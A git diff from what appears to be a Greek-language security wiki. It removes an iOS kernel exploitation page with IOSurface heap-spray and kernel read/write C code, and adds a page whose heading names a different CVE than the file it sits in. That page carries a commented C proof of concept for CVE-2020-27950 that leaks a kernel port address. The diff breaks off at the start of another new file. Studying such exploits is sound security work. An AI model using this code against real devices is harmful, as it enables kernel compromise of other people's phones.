diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b18b11ccd..d4104d430 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -838,7 +838,7 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md deleted file mode 100644 index 873e91e75..000000000 --- a/src/binary-exploitation/ios-exploiting.md +++ /dev/null @@ -1,207 +0,0 @@ -# iOS Exploiting - -{{#include ../banners/hacktricks-training.md}} - -## Physical use-after-free - -Αυτό είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) - -### Memory management in XNU - -Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο ** πυρήνας** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**. - -#### Levels of Page Tables in iOS - -Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα: - -1. **L1 Page Table (Επίπεδο 1)**: -* Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης. -* Καλύπτει **0x1000000000 bytes** (ή **256 GB**) εικονικής μνήμης. -2. **L2 Page Table (Επίπεδο 2)**: -* Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB). -* Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή μόνη της. -3. **L3 Page Table (Επίπεδο 3)**: -* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή αντιστοιχεί σε μια μεμονωμένη **4 KB** σελίδα μνήμης. -* Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος. - -#### Mapping Virtual to Physical Memory - -* **Άμεση Αντιστοίχιση (Block Mapping)**: -* Ορισμένες εγγραφές σε έναν πίνακα σελίδων αντιστοιχούν άμεσα σε **ένα εύρος εικονικών διευθύνσεων** σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση). -* **Δείκτης σε Παιδικό Πίνακα Σελίδων**: -* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **παιδικό πίνακα σελίδων** στο επόμενο επίπεδο (π.χ., L2). - -#### Example: Mapping a Virtual Address - -Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση **0x1000000000**: - -1. **L1 Table**: -* Ο πυρήνας ελέγχει την εγγραφή του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει έναν **δείκτη σε έναν πίνακα L2**, πηγαίνει σε αυτόν τον πίνακα L2. -2. **L2 Table**: -* Ο πυρήνας ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα L3**, προχωρά εκεί. -3. **L3 Table**: -* Ο πυρήνας αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης. - -#### Example of Address Mapping - -Αν γράψετε τη φυσική διεύθυνση **0x800004000** στον πρώτο δείκτη του πίνακα L2, τότε: - -* Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** αντιστοιχούν σε φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**. -* Αυτό είναι μια **αντιστοίχιση μπλοκ** στο επίπεδο L2. - -Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3: - -* Κάθε σελίδα 4 KB στην εικονική περιοχή διευθύνσεων **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες εγγραφές στον πίνακα L3. - -### Physical use-after-free - -Μια **φυσική χρήση μετά την απελευθέρωση** (UAF) συμβαίνει όταν: - -1. Μια διεργασία **κατανέμει** κάποια μνήμη ως **αναγνώσιμη και εγγράψιμη**. -2. Οι **πίνακες σελίδων** ενημερώνονται για να αντιστοιχίσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία. -3. Η διεργασία **απελευθερώνει** (ελευθερώνει) τη μνήμη. -4. Ωστόσο, λόγω ενός **σφάλματος**, ο πυρήνας **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη. -5. Ο πυρήνας μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα πυρήνα**. -6. Δεδομένου ότι η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη. - -Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης πυρήνα**, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του πυρήνα**. - -### Exploitation Strategy: Heap Spray - -Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες πυρήνα θα ανατεθούν στη ελευθερωμένη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**: - -1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του πυρήνα. -2. Κάθε αντικείμενο IOSurface περιέχει μια **μαγική τιμή** σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση. -3. **Σαρώνονται οι ελευθερωμένες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια ελευθερωμένη σελίδα. -4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελευθερωμένη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν στη μνήμη του πυρήνα**. - -Περισσότερες πληροφορίες σχετικά με αυτό στο [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) - -### Step-by-Step Heap Spray Process - -1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με μια ειδική ταυτότητα ("μαγική τιμή"). -2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελευθερωμένη σελίδα. -3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του πυρήνα. Αυτό τους επιτρέπει: -* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του πυρήνα. -* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **πρωτοβουλία ανάγνωσης/εγγραφής πυρήνα**. - -Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE\_MAGIC για να τα αναζητήσετε αργότερα: -```c -void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { -if (*nClients >= 0x4000) return; -for (int i = 0; i < nSurfaces; i++) { -fast_create_args_t args; -lock_result_t result; - -size_t size = IOSurfaceLockResultSize; -args.address = 0; -args.alloc_size = *nClients + 1; -args.pixel_format = IOSURFACE_MAGIC; - -IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); -io_connect_t id = result.surface_id; - -(*clients)[*nClients] = id; -*nClients = (*nClients) += 1; -} -} -``` -Αναζητήστε αντικείμενα **`IOSurface`** σε μία ελεύθερη φυσική σελίδα: -```c -int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { -io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); -int nSurfaceIDs = 0; - -for (int i = 0; i < 0x400; i++) { -spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - -for (int j = 0; j < nPages; j++) { -uint64_t start = puafPages[j]; -uint64_t stop = start + (pages(1) / 16); - -for (uint64_t k = start; k < stop; k += 8) { -if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { -info.object = k; -info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; -if (self_task) *self_task = iosurface_get_receiver(k); -goto sprayDone; -} -} -} -} - -sprayDone: -for (int i = 0; i < nSurfaceIDs; i++) { -if (surfaceIDs[i] == info.surface) continue; -iosurface_release(client, surfaceIDs[i]); -} -free(surfaceIDs); - -return 0; -} -``` -### Επιτυχία Ανάγνωσης/Εγγραφής Kernel με IOSurface - -Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια ελεύθερη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής του kernel**. - -**Κύρια Πεδία στο IOSurface** - -Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία: - -1. **Δείκτης Χρήσης**: Επιτρέπει μια **32-bit ανάγνωση**. -2. **Δείκτης Χρονοσήμανσης με Ευρετήριο**: Επιτρέπει μια **64-bit εγγραφή**. - -Με την επαναγραφή αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής. - -#### 32-Bit Ανάγνωση Kernel - -Για να εκτελέσουμε μια ανάγνωση: - -1. Επαναγράψτε τον **δείκτη χρήσης** ώστε να δείχνει στη διεύθυνση στόχο μείον μια απόσταση 0x14 byte. -2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε αυτή τη διεύθυνση. -```c -uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { -uint64_t args[1] = {surfaceID}; -uint32_t size = 1; -uint64_t out = 0; -IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); -return (uint32_t)out; -} - -uint32_t iosurface_kread32(uint64_t addr) { -uint64_t orig = iosurface_get_use_count_pointer(info.object); -iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 -uint32_t value = get_use_count(info.client, info.surface); -iosurface_set_use_count_pointer(info.object, orig); -return value; -} -``` -#### 64-Bit Kernel Write - -Για να εκτελέσετε μια εγγραφή: - -1. Επαναγράψτε τον **δείκτη χρονοσήμανσης με δείκτη** στη στοχευμένη διεύθυνση. -2. Χρησιμοποιήστε τη μέθοδο `set_indexed_timestamp` για να γράψετε μια τιμή 64-bit. -```c -void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { -uint64_t args[3] = {surfaceID, 0, value}; -IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); -} - -void iosurface_kwrite64(uint64_t addr, uint64_t value) { -uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); -iosurface_set_indexed_timestamp_pointer(info.object, addr); -set_indexed_timestamp(info.client, info.surface, value); -iosurface_set_indexed_timestamp_pointer(info.object, orig); -} -``` -#### Ανακεφαλαίωση Ροής Εκμετάλλευσης - -1. **Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωση**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση. -2. **Ψεκασμός Αντικειμένων IOSurface**: Κατανομή πολλών αντικειμένων IOSurface με μια μοναδική "μαγική τιμή" στη μνήμη του πυρήνα. -3. **Εντοπισμός Προσβάσιμου IOSurface**: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε. -4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωση**: Τροποποιήστε δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface. - -Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες **32-bit αναγνώσεις** και **64-bit εγγραφές** στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e). - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md new file mode 100644 index 000000000..2f66acc81 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -0,0 +1,332 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## Το σφάλμα + +Υπάρχει [μια εξαιρετική εξήγηση του vuln εδώ](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), αλλά συνοπτικά: + +Κάθε Mach message που λαμβάνει ο kernel τελειώνει με ένα **"trailer"**: ένα variable-length struct με metadata (seqno, sender token, audit token, context, access control data, labels...). Ο kernel **πάντα δεσμεύει το μεγαλύτερο δυνατό trailer** (MAX_TRAILER_SIZE) στο message buffer, αλλά **αρχικοποιεί μόνο κάποια πεδία**, και αργότερα **αποφασίζει ποιο μέγεθος trailer θα επιστρέψει** βάσει των **user-controlled receive options**. + +Αυτά είναι τα trailer relevant structs: +```c +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +} mach_msg_trailer_t; + +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +mach_port_seqno_t msgh_seqno; +security_token_t msgh_sender; +audit_token_t msgh_audit; +mach_port_context_t msgh_context; +int msgh_ad; +msg_labels_t msgh_labels; +} mach_msg_mac_trailer_t; + +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) +``` +Στη συνέχεια, όταν το trailer object δημιουργείται, μόνο ορισμένα πεδία αρχικοποιούνται, και το μέγιστο μέγεθος του trailer πάντα δεσμεύεται: +```c +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); +trailer->msgh_sender = current_thread()->task->sec_token; +trailer->msgh_audit = current_thread()->task->audit_token; +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; +[...] +trailer->msgh_labels.sender = 0; +``` +Τότε, για παράδειγμα, όταν προσπαθείτε να διαβάσετε ένα mach message χρησιμοποιώντας `mach_msg()` η συνάρτηση `ipc_kmsg_add_trailer()` καλείται για να προσαρτήσει το trailer στο μήνυμα. Εσωτερικά σε αυτή τη συνάρτηση υπολογίζεται το μέγεθος του trailer και συμπληρώνονται κάποια άλλα πεδία του trailer: +```c +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] +return trailer->msgh_trailer_size; +} + +trailer->msgh_seqno = seqno; +trailer->msgh_context = context; +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); +``` +Η παράμετρος `option` ελέγχεται από τον χρήστη, οπότε **πρέπει να δοθεί μια τιμή που θα περάσει τον έλεγχο `if`.** + +Για να περάσουμε αυτόν τον έλεγχο πρέπει να στείλουμε ένα έγκυρο υποστηριζόμενο `option`: +```c +#define MACH_RCV_TRAILER_NULL 0 +#define MACH_RCV_TRAILER_SEQNO 1 +#define MACH_RCV_TRAILER_SENDER 2 +#define MACH_RCV_TRAILER_AUDIT 3 +#define MACH_RCV_TRAILER_CTX 4 +#define MACH_RCV_TRAILER_AV 7 +#define MACH_RCV_TRAILER_LABELS 8 + +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) +``` +Όμως, επειδή το `MACH_RCV_TRAILER_MASK` απλώς ελέγχει bits, μπορούμε να περάσουμε οποιαδήποτε τιμή μεταξύ `0` και `8` ώστε να μην εισέλθουμε μέσα στο `if` statement. + +Στη συνέχεια, συνεχίζοντας με τον κώδικα μπορείτε να βρείτε: +```c +if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { +trailer->msgh_ad = 0; +} + +/* +* The ipc_kmsg_t holds a reference to the label of a label +* handle, not the port. We must get a reference to the port +* and a send right to copyout to the receiver. +*/ + +if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { +trailer->msgh_labels.sender = 0; +} + +done: +#ifdef __arm64__ +ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); +#endif /* __arm64__ */ + +return trailer->msgh_trailer_size; +``` +Όπως μπορείτε να δείτε, αν το `option` είναι μεγαλύτερο ή ίσο με `MACH_RCV_TRAILER_AV` (7), το πεδίο **`msgh_ad`** αρχικοποιείται σε `0`. + +Αν προσέξατε, το **`msgh_ad`** ήταν ακόμη το μόνο πεδίο του trailer που δεν είχε αρχικοποιηθεί νωρίτερα και που θα μπορούσε να περιέχει ένα leak από προηγουμένως χρησιμοποιημένη μνήμη. + +Έτσι, ο τρόπος για να αποφευχθεί η αρχικοποίησή του είναι να περάσετε μια τιμή `option` που είναι `5` ή `6`, ώστε να περνάει το πρώτο `if` check και να μην μπαίνει στο `if` που αρχικοποιεί το `msgh_ad`, επειδή οι τιμές `5` και `6` δεν έχουν κανέναν τύπο trailer συσχετισμένο. + +### Basic PoC + +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. + +### Leak Kernel Address PoC + +Στο Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), υπάρχει ένα PoC για να leak μια kernel address. Για αυτό, ένα μήνυμα γεμάτο `mach_msg_port_descriptor_t` structs αποστέλλεται, επειδή το πεδίο `name` αυτής της δομής στο userland περιέχει ένα unsigned int, ενώ στο kernel το πεδίο `name` είναι pointer σε struct `ipc_port`. Συνεπώς, η αποστολή δεκάδων από αυτές τις δομές στο μήνυμα στο kernel θα σημαίνει ότι **προστίθενται αρκετές kernel addresses μέσα στο μήνυμα** ώστε κάποια από αυτές να μπορεί να leak. + +Προστέθηκαν σχόλια για καλύτερη κατανόηση: +```c +#include +#include +#include +#include + +// Number of OOL port descriptors in the "big" message. +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). +#define LEAK_PORTS 50 + +// "Big" message: many descriptors → larger descriptor array in kmsg +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; +} message_big_t; + +// "Small" message: fewer descriptors → leaves more room for the trailer +// to overlap where descriptor pointers used to be in the reused kalloc chunk. +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; +} message_small_t; + +int main(int argc, char *argv[]) { +mach_port_t port; // our local receive port (target of sends) +mach_port_t sent_port; // the port whose kernel address we want to leak + +/* +* 1) Create a receive right and attach a send right so we can send to ourselves. +* This gives us predictable control over ipc_kmsg allocations when we send. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + +/* +* 2) Create another receive port (sent_port). We'll reference this port +* in OOL descriptors so the kernel stores pointers to its ipc_port +* structure in the kmsg → those pointers are what we aim to leak. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); +mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); + +printf("[*] Will get port %x address\n", sent_port); + +message_big_t *big_message = NULL; +message_small_t *small_message = NULL; + +// Compute userland sizes of our message structs +mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); +mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); + +// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) +big_message = malloc(big_size + MAX_TRAILER_SIZE); +small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +/* +* 3) Prepare the "big" message: +* - Complex bit set (has descriptors) +* - 50 OOL port descriptors, all pointing to the same sent_port +* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). +* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). +*/ +printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); +memset(big_message, 0, big_size + MAX_TRAILER_SIZE); + +big_message->header.msgh_remote_port = port; // send to our receive right +big_message->header.msgh_size = big_size; +big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +big_message->body.msgh_descriptor_count = LEAK_PORTS; + +for (int i = 0; i < LEAK_PORTS; i++) { +big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers +} + +/* +* 4) Prepare the "small" message: +* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, +* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. +*/ +printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); +memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +small_message->header.msgh_remote_port = port; +small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; + +for (int i = 0; i < LEAK_PORTS - 10; i++) { +small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +small_message->sent_ports[i].name = sent_port; +} + +/* +* 5) Receive buffer for reading back messages with trailers. +* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). +* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized +* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. +*/ +uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); +mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) +uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks + +/* +* ---------- Exploitation sequence ---------- +* +* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many +* kernel pointers (ipc_port*) in its descriptor array. +*/ +printf("[*] Sending message 1\n"); +mach_msg(&big_message->header, +MACH_SEND_MSG, +big_size, // send size +0, // no receive +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step B: Immediately receive/discard it with a zero-sized buffer. +* This frees the kalloc chunk without copying descriptors back, +* leaving the kernel pointers resident in freed memory (stale). +*/ +printf("[*] Discarding message 1\n"); +mach_msg((mach_msg_header_t *)0, +MACH_RCV_MSG, // try to receive +0, // send size 0 +0, // recv size 0 (forces error/free path) +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step C: Reuse the same size-class with the "small" message (fewer descriptors). +* We slightly bump msgh_size by +4 so that when the kernel appends +* the trailer, the trailer's uninitialized field `msgh_ad` overlaps +* the low 4 bytes of a stale ipc_port* pointer from the prior message. +*/ +small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window +printf("[*] Sending message 2\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t), +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step D: Receive message 2 and request an invalid trailer elements value (5). +* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. +* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. +* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), +* so with 5, `msgh_ad` remains uninitialized → stale bytes leak. +*/ +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 2\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 +0, +small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +// Trailer begins right after the message body we sent (small_size + 4) +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); + +// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) +sent_port_address |= (uint32_t)trailer->msgh_ad; + +/* +* Step E: Repeat the A→D cycle but now shift by another +4 bytes. +* This moves the overlap window so `msgh_ad` captures the high 4 bytes. +*/ +printf("[*] Sending message 3\n"); +mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +printf("[*] Discarding message 3\n"); +mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +// add another +4 to msgh_size → total +8 shift from the baseline +small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; +printf("[*] Sending message 4\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t)*2, +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 4\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), +0, +small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); + +// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer +sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; + +printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); + +return 0; +} +``` +## Αναφορές + +- [Άρθρο στο blog της Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md new file mode 100644 index 000000000..5e12aca87 --- /dev/null +++ 